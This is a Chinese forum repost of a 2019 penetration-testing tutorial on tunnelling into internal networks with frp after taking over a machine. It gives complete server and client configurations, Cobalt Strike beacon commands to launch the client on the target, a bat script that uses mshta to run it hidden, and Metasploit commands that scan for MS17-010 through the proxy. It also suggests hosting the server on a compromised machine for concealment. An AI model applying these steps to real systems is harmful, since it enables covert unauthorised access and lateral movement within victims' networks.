搜索

[26873] 2019-12-11_Frp内网穿透实战

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2019-12-11_Frp内网穿透实战 F r p 内 网 穿 透 实 战 安 全 祖 师 爷   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 2 - 1 1 前 言 前 言 实 战 中 ， 当 通 过 某 种 方 式 拿 下 测 试 虚 拟 机 权 限 时 ， 发 现 该 机 器 可 出 网 。 此 时 为 了 内 网 横 向 渗 透 与 团 队 间 的 协 同 作 战 ， 可 以 利 用 F r p 在 该 机 器 与 V P S 之 间 建 立 一 条 “ 专 属 通 道 ” ， 并 借 助 这 条 通 道 达 到 内 网 穿 透 的 效 果 。 实 战 中 更 多 时 候 依 靠   S o c k s 5   。 更 多 详 细 使 用 方 法 ， 可 查 看 官 方 G i t h u b ， 这 里 不 再 赘 述 。 h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p / 前 期 准 备 前 期 准 备 先 准 备 一 台 V P S 与 域 名 。 因 某 种 情 况 会 更 换 V P S 地 址 ， 为 了 减 少 更 改 f r p 配 置 文 件 的 次 数 ， 所 以 做 域 名 泛 解 析 。 若 更 换 V P S ， 直 接 编 辑 域 名 解 析 地 址 即 可 。
下 载 地 址 下 载 地 址 F r p 下 载 地 址   [ 跨 平 台 ， 实 战 中 根 据 目 标 机 版 本 选 择 下 载 ] h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p / r e l e a s e s 配 置 文 件 配 置 文 件 服 务 端 服 务 端 1 # 通 用 配 置 段 2 [ c o m m o n ] 3 # f r p 服 务 端 监 听   [ V P S ] 4 b i n d _ a d d r   =   0 . 0 . 0 . 0 5 # f r p 服 务 器 监 听 端 口   [ 实 战 中 可 以 用 一 些 通 透 性 较 好 的 端 口 ] 6 b i n d _ p o r t   =   7 0 0 7 7 8 # 服 务 端 W e b 控 制 面 板 登 录 端 口   [ 通 过 控 制 面 板 ， 可 以 实 时 了 解 到 数 据 收 发 情 况 。 实 战 中 用 处 不 大 ] 9 d a s h b o a r d _ p o r t   =   6 6 0 9 1 0 # 服 务 端 W e b 控 制 面 板 用 户 名 与 密 码   [ 强 口 令 ] 1 1 d a s h b o a r d _ u s e r   =   S u p e r M a n 1 2 d a s h b o a r d _ p w d   =   W C 3 p v j m h 2 t t 8 1 3 1 4 # 日 志 输 出 位 置 ， 所 有 的 日 志 信 息 都 放 到 当 前 目 录 下 的 f r p s . l o g 文 件 中 1 5 l o g _ f i l e   =   . / f r p s . l o g
1 6 # 日 志 记 录 等 级 ， 有 t r a c e 、 d e b u g 、 i n f o 、 w a r n 、 e r r o r , 通 常 情 况 下 为 i n f o 1 7 l o g _ l e v e l   =   i n f o 1 8 # 日 志 保 留 时 间 1 9 l o g _ m a x _ d a y s   =   3 2 0 2 1 # 验 证 凭 据 ， 服 务 端 和 客 户 端 的 凭 据 必 须 一 样 才 能 连 接 2 2 a u t h _ t o k e n   =   E 0 i Q E B O d o J e h 2 3 # 启 用 特 权 模 式 ， 从 v 0 . 1 0 . 0 版 本 开 始 默 认 启 用 特 权 模 式   [ 特 权 模 式 下 ， 客 户 端 更 改 配 置 无 需 更 新 服 务 端 ] 2 4 p r i v i l e g e _ m o d e   =   t r u e 2 5 # 特 权 模 式 T o k e n   [ 强 口 令 ， 建 议 随 机 生 成 ] 2 6 p r i v i l e g e _ t o k e n   =   k u k e z k H C 8 R 1 H 2 7 # 特 权 模 式 允 许 分 配 的 端 口   [ 避 免 端 口 被 滥 用 ] 2 8 p r i v i l e g e _ a l l o w _ p o r t s   =   4 0 0 0 - 5 0 0 0 0 2 9 3 0 # 心 跳 检 测 超 时 时 长 3 1 h e a r t b e a t _ t i m e o u t   =   3 0 3 2 3 3 # 每 个 代 理 可 以 设 置 的 连 接 池 上 限 3 4 m a x _ p o o l _ c o u n t   =   2 0 3 5 3 6 # 口 令 认 证 超 时 时 间 ， 一 般 不 用 改 3 7 a u t h e n t i c a t i o n _ t i m e o u t   =   9 0 0 3 8 3 9 # 指 定 子 域 名 ， 后 续 将 全 部 用 域 名 的 形 式 进 行 访 问   [ 特 权 模 式 需 下 将   * . x x x x . o n l i n e   解 析 到 外 网 V P S 上 ， 即 域 名 泛 解 析 ]
4 0 s u b d o m a i n _ h o s t   =   x x x x . o n l i n e 客 户 端 客 户 端 1 # 通 用 配 置 段 2 [ c o m m o n ] 3 # f r p 服 务 端 I P 或 域 名   [ 实 战 中 一 般 都 会 直 接 用 域 名 ] 4 s e r v e r _ a d d r   =   f r p . x x x x . o n l i n e 5 # f r p 服 务 器 端 口 6 s e r v e r _ p o r t   =   7 0 0 7 7 8 # 授 权 t o k e n ， 此 处 必 须 与 服 务 端 保 持 一 致 ， 否 则 无 法 建 立 连 接 9 a u t h _ t o k e n   =   E 0 i Q E B O d o J e h 1 0 # 启 用 特 权 模 式   [ 特 权 模 式 下 服 务 端 无 需 配 置 ] 1 1 p r i v i l e g e _ m o d e   =   t r u e 1 2 # 特 权 模 式   t o k e n , 同 样 要 与 服 务 端 完 全 保 持 一 致 1 3 p r i v i l e g e _ t o k e n   =   k u k e z k H C 8 R 1 H 1 4 1 5 # 心 跳 检 查 间 隔 与 超 时 时 间 1 6 h e a r t b e a t _ i n t e r v a l   =   1 0 1 7 h e a r t b e a t _ t i m e o u t   =   3 0 1 8 1 9 # 启 用 加 密   [ 通 信 内 容 加 密 传 输 ， 有 效 防 止 流 量 被 拦 截 ] 2 0 u s e _ e n c r y p t i o n   =   t r u e 2 1 # 启 用 压 缩   [ 传 输 内 容 进 行 压 缩 ， 有 效 减 小 传 输 的 网 络 流 量 ， 加 快 流 量 转 发 速 度 ， 但 会 额 外 消 耗 一 些 C P U 资 源 ]
2 2 u s e _ c o m p r e s s i o n   =   t r u e 2 3 2 4 # 连 接 数 量 2 5 p o o l _ c o u n t   =   2 0 2 6 2 7 # 内 网 穿 透 通 常 用 s o c k s 5 2 8 [ s o c k s 5 ] 2 9 t y p e   =   t c p 3 0 # 连 接 V P S 内 网 穿 透 的 远 程 连 接 端 口 3 1 r e m o t e _ p o r t   =   9 0 6 6 3 2 # 使 用 插 件 s o c k s 5 代 理 3 3 p l u g i n   =   s o c k s 5 3 4 # s o c k s 5 连 接 口 令   [ 根 据 实 际 情 况 进 行 配 置 ] 3 5 # p l u g i n _ u s e r   =   S u p e r M a n 3 6 # p l u g i n _ p a s s w d   =   Z B O 0 M c Q e 6 m E 1 执 行 部 署 执 行 部 署 服 务 端 服 务 端 S S H 连 接 到 V P S 上 ， 后 台 启 动 f r p 服 务 端 。 1 r o o t @ U b u n t u : ~ #   c d   t o o l s / f r p / 2 r o o t @ U b u n t u : ~ / t o o l s / f r p #   n o h u p   . / f r p s   - c   f r p s . i n i   & 3 r o o t @ U b u n t u : ~ / t o o l s / f r p #   j o b s   - l 4 r o o t @ U b u n t u : ~ / t o o l s / f r p #   c a t   f r p s . l o g
客 户 端 客 户 端 将 与 传 到 目 标 机 的 同 一 目 录 下 ， 直 接 运 行 。 当 f r p 客 户 端 启 动 后 ， 是 否 成 功 连 接 ， 都 会 在 f r p 服 务 端 日 志 中 查 看 到 。 但 如 果 直 接 在 目 标 机 的 B e a c o n 中 启 动 f r p 客 户 端 ， 会 持 续 有 日 志 输 出 ， 并 干 扰 该 p i d 下 的 其 他 操 作 ， 所 以 可 结 合 在 目 标 机 无 输 出 执 行 程 序 。 1 b e a c o n >   s l e e p   1 0 2 b e a c o n >   e x e c u t e   c : / f r p c . e x e   - c   c : / f r p c . i n i 3 b e a c o n >   s h e l l   n e t s t a t   - a n o   | f i n d s t r   7 0 0 7 f r p c . e x e f r p c . e x e f r p c . i n i f r p c . i n i e x e c u t e e x e c u t e
或 者 ， 创 建 后 台 运 行 的 b a t 脚 本 。 1 @ e c h o   o f f 2 i f   " % 1 "   = =   " h "   g o t o   b e g i n 3 m s h t a   v b s c r i p t : c r e a t e o b j e c t ( " w s c r i p t . s h e l l " ) . r u n ( " % ~ n x 0   h " , 0 ) ( w i n d o w . c l o s e ) & & e x i t 4 : b e g i n 5 c : f r p c . e x e   - c   c : f r p c . i n i 工 具 穿 透 工 具 穿 透 M e t a s p l o i t 当 “ 专 属 通 道 ” 打 通 后 ， 可 直 接 在 m s f 中 挂 该 代 理 。 因 为 m s f 的 模 块 较 多 ， 所 以 在 内 网 横 向 移 动 中 更 是 一 把 利 器 。 [ 若 s o c k s 5 设 置 口 令 ， 可 结 合 p r o x y c h a i n s ]
1 #   s u d o   m s f c o n s o l e   - q 2 m s f 5   >   s e t g   p r o x i e s   s o c k s 5 : f r p . x x x x . o n l i n e : 9 0 6 6 3 m s f 5   >   u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 4 m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   s e t   t h r e a d s   1 0 5 m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   s e t   r h o s t s   1 9 2 . 1 6 8 . 1 4 4 . 1 7 8 6 m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 )   >   r u n W i n d o w s W i n d o w s 中 可 结 合 P r o x i f i e r 、 S S T a p 等 工 具 ， 可 设 置 s o c k s 5 口 令 ， 以 此 达 到 用 w i n d o w s 渗 透 工 具 横 向 穿 透 的 效 果 。
小 结 小 结 F r p 的 用 法 比 较 灵 活 且 运 行 稳 定 。 如   可 将 f r p 服 务 端 挂 在 “ 做 菜 的 肉 鸡 ” 上 ， 以 达 到 隐 蔽 性 ， 也 可 将 客 户 端 做 成 服 务 自 启 的 形 式 等 。 作 者 : A n o n y S e c 新 书 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 新 书 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 购 买 链 接 ： 购 买 链 接 ： h t t p s : / / i t e m . j d . c o m / 1 2 7 4 3 2 1 0 . h t m l M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 2 0 1 9 年 年 1 1 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 指 南 》 。 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 逆 向 工 程 等 方 面 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理